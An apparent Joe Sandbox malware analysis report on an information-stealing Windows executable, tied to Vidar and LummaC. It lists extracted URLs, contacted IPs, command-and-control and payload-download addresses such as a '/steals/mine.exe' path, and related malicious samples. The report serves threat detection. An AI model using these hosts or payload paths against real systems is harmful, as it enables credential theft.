a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/steals/mine.exe1kkkkles	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://arpdabl.zaptoIIDGD	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/	76561199747278259[1].htm.0.dr	false	URL Reputation: safe	unknown
https://168.119.176.241/key%	MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=GG0UCGgA	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://168.119.176.241/(%f	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://127.0.0.1:27060	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://168.119.176.241/s_1l	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
http://arpdabl.zapto.IDGD	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	false	URL Reputation: safe	unknown
https://168.119.176.241/mozglue.dllU	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.steampowered.com/	MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/mobile	MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199747278259	76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://168.119.176.241/Microsoft	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=zGRpBs82SFHJ&a	MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://player.vimeo.com	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17exe	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.102.49.249	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
38.180.132.96	arpdabl.zapto.org	United States	174	COGENT-174US	false
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
168.119.176.241	unknown	Germany	24940	HETZNER-ASDE	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1487424
Start date and time:	2024-08-04 02:20:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@12/24@3/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 84 Number of non-executed functions: 179
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.114.59.183, 93.184.221.240, 20.3.187.198, 192.229.221.95, 13.95.31.18
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, glb.cws.prod.dcat.dsp.trafficmanager.net, ocsp.edge.digicert.com, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:21:09	API Interceptor	1x Sleep call for process: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe modified
20:21:59	API Interceptor	1x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.102.49.249	https://gtm.you1.cn/storesteam/news	Get hash	malicious	Unknown	Browse
	https://gtm.you1.cn/login/home/?goto=id/peakina_chan/stats/2290000/achievements/	Get hash	malicious	Unknown	Browse
	https://gtm.you1.cn/app/2981410	Get hash	malicious	Unknown	Browse
	Fluxus_Installer.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse
	66adc1d3f237b_mine.exe	Get hash	malicious	Vidar	Browse
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse
	woklsbEMwW.exe	Get hash	malicious	Vidar	Browse
	c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe	Get hash	malicious	LummaC, Vidar	Browse
	https://stearnccommunity.com/promo/gift10-auth	Get hash	malicious	Unknown	Browse
38.180.132.96	66adc1d3f237b_mine.exe	Get hash	malicious	Vidar	Browse	arpdabl.zapto.org/
	c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe	Get hash	malicious	LummaC, Vidar	Browse	arpdabl.zapto.org/
	p2StQYQ4ck.exe	Get hash	malicious	Vidar	Browse	arpdabl.zapto.org/
	h3H69FhCbT.exe	Get hash	malicious	Vidar	Browse	arpdabl.zapto.org/
	file.exe	Get hash	malicious	Vidar	Browse	arpdabl.zapto.org/
147.45.44.104	c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104/steals/visior.exe
	setup.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104/steals/visior.exe
	1lKbb2hF7fYToopfpmEvlyRN.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104/steals/gfn1go.exe
168.119.176.241	66adc1d3f237b_mine.exe	Get hash	malicious	Vidar	Browse
	c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe	Get hash	malicious	LummaC, Vidar	Browse
	setup.exe	Get hash	malicious	LummaC, Vidar	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	ewpRRCnxEv.exe	Get hash	malicious	LummaC, Vidar	Browse
	p2StQYQ4ck.exe	Get hash	malicious	Vidar	Browse
	h3H69FhCbT.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
arpdabl.zapto.org	66adc1d3f237b_mine.exe	Get hash	malicious	Vidar	Browse	38.180.132.96
	c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe	Get hash	malicious	LummaC, Vidar	Browse	38.180.132.96
	p2StQYQ4ck.exe	Get hash	malicious	Vidar	Browse	38.180.132.96
	h3H69FhCbT.exe	Get hash	malicious	Vidar	Browse	38.180.132.96
	file.exe	Get hash	malicious	Vidar	Browse	38.180.132.96
	file.exe	Get hash	malicious	Vidar	Browse	77.91.101.71
	1lKbb2hF7fYToopfpmEvlyRN.exe	Get hash	malicious	LummaC, Vidar	Browse	77.91.101.71
	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse	77.91.101.71
steamcommunity.com	https://gtm.you1.cn/storesteam/news	Get hash	malicious	Unknown	Browse	104.102.49.249
	Fluxus_Installer.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.102.49.249
	66adc1d3f237b_mine.exe	Get hash	malicious	Vidar	Browse	104.102.49.249
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.102.49.249
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.102.49.249
	woklsbEMwW.exe	Get hash	malicious	Vidar	Browse	104.102.49.249
	c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.249
	https://stearnccommunity.com/promo/gift10-auth	Get hash	malicious	Unknown	Browse	104.102.49.249
	https://stemcommunty.com/tradeoffer/37853379973328	Get hash	malicious	Unknown	Browse	104.102.49.249
	setup.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.249
fp2e7a.wpc.phicdn.net	https://transportationzhxztpro.top/i/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://freeusps.com/collections/2018/products/love-flourishes-2018-4946?data_from=collection_detail	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://loker-pt-freeport-indonesia-2024.digitall-co.web.id/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://mail.valeshia.50-6-170-168.cprapid.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://freeusps.com/collections/all-usps-stamp/products/u-s-flag-2022-9683?data_from=collection_detail	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://navernewsletter-7fmeelx50-steveappeal77-gmailcom.vercel.app/?user-agent=mozilla/5.0	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://pub-d9e0fa9d4d5c442291d5788540921b89.r2.dev/index.html	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://freeusps.com/collections/love-wedding/products/love-2022-1657?data_from=collection_detail	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://transportationjjxztpro.top/i/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://freeusps.com/collections/2019/products/2017-disney-villains-100pcs?data_from=collection_detail	Get hash	malicious	Unknown	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COGENT-174US	SecuriteInfo.com.Linux.Siggen.9999.32301.6786.elf	Get hash	malicious	Mirai	Browse	38.11.161.217
	wKrQaAEaJ4.elf	Get hash	malicious	Mirai	Browse	206.5.238.131
	HhaL0xmHfu.elf	Get hash	malicious	Mirai	Browse	149.107.177.254
	aY6mdZG2s6.elf	Get hash	malicious	Mirai	Browse	38.32.115.232
	xd.x86.elf	Get hash	malicious	Mirai	Browse	149.16.198.212
	BpjVfMOJGI.elf	Get hash	malicious	Mirai	Browse	38.61.51.129
	3Vt6Okayik.elf	Get hash	malicious	Mirai	Browse	38.125.252.126
	66adc1d3f237b_mine.exe	Get hash	malicious	Vidar	Browse	38.180.132.96
	uninstall#U5ba2#U6237#U7aef.exe	Get hash	malicious	Unknown	Browse	206.238.179.49
	uninstall#U5ba2#U6237#U7aef.exe	Get hash	malicious	Deal Ply	Browse	206.238.179.49
HETZNER-ASDE	http://scbqroup.com/hhwtaobppbduaxet?login	Get hash	malicious	Unknown	Browse	159.69.19.252
	66adc1d3f237b_mine.exe	Get hash	malicious	Vidar	Browse	168.119.176.241
	Zula Spacex Hack.exe	Get hash	malicious	Quasar	Browse	195.201.57.90
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	88.198.32.228
	c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe	Get hash	malicious	LummaC, Vidar	Browse	168.119.176.241
	http://walrus-sjfjhdghfdlg-oz32o.ondigitalocean.app/	Get hash	malicious	TechSupportScam	Browse	195.201.57.90
	IISz6QDXkY.elf	Get hash	malicious	Mirai	Browse	136.243.79.37
	setup.exe	Get hash	malicious	LummaC, Vidar	Browse	168.119.176.241
	Setup.exe	Get hash	malicious	Vidar	Browse	168.119.176.241
	ewpRRCnxEv.exe	Get hash	malicious	LummaC, Vidar	Browse	168.119.176.241
FREE-NET-ASFREEnetEU	SecuriteInfo.com.Linux.Siggen.9999.32301.6786.elf	Get hash	malicious	Mirai	Browse	147.45.234.215
	c1a96310dd45b906c51fd21fd604550225e1eec1941245850b24773e22768ad7_dump.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	SecuriteInfo.com.Trojan.PackedNET.2984.19167.29213.exe	Get hash	malicious	PureLog Stealer	Browse	193.233.203.218
	setup.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	n6o0pd9pZC.exe	Get hash	malicious	Xmrig	Browse	147.45.47.81
	um4BQzq6E8.exe	Get hash	malicious	LummaC	Browse	147.45.44.131
	file.exe	Get hash	malicious	Unknown	Browse	147.45.47.169
	lfjG1UlwP1.exe	Get hash	malicious	LummaC, Xmrig	Browse	147.45.47.81
	SecuriteInfo.com.Trojan.InjectNET.17.32646.13700.exe	Get hash	malicious	LummaC, Xmrig	Browse	147.45.47.81
	dcIqJI958_1r1vAyEzEm63xX.exe	Get hash	malicious	Unknown	Browse	147.45.47.169
AKAMAI-ASUS	HhaL0xmHfu.elf	Get hash	malicious	Mirai	Browse	184.25.187.249
	https://gtm.you1.cn/storesteam/news	Get hash	malicious	Unknown	Browse	2.19.126.82
	https://gtm.you1.cn/login/home/?goto=id/peakina_chan/stats/2290000/achievements/	Get hash	malicious	Unknown	Browse	2.19.126.218
	https://gtm.you1.cn/app/2981410	Get hash	malicious	Unknown	Browse	104.102.49.249
	XkdNB2mGwN.elf	Get hash	malicious	Mirai	Browse	96.26.82.126
	3Vt6Okayik.elf	Get hash	malicious	Mirai	Browse	23.52.164.37
	Fluxus_Installer.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.102.49.249
	66adc1d3f237b_mine.exe	Get hash	malicious	Vidar	Browse	104.102.49.249
	random.exe	Get hash	malicious	Babadeda	Browse	23.223.209.213
	https://www.totalav.com/free-download-3?exit	Get hash	malicious	Unknown	Browse	184.28.90.27

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	66adc1d3f237b_mine.exe	Get hash	malicious	Vidar	Browse	168.119.176.241
	gZiwLaFWES.exe	Get hash	malicious	CobaltStrike	Browse	168.119.176.241
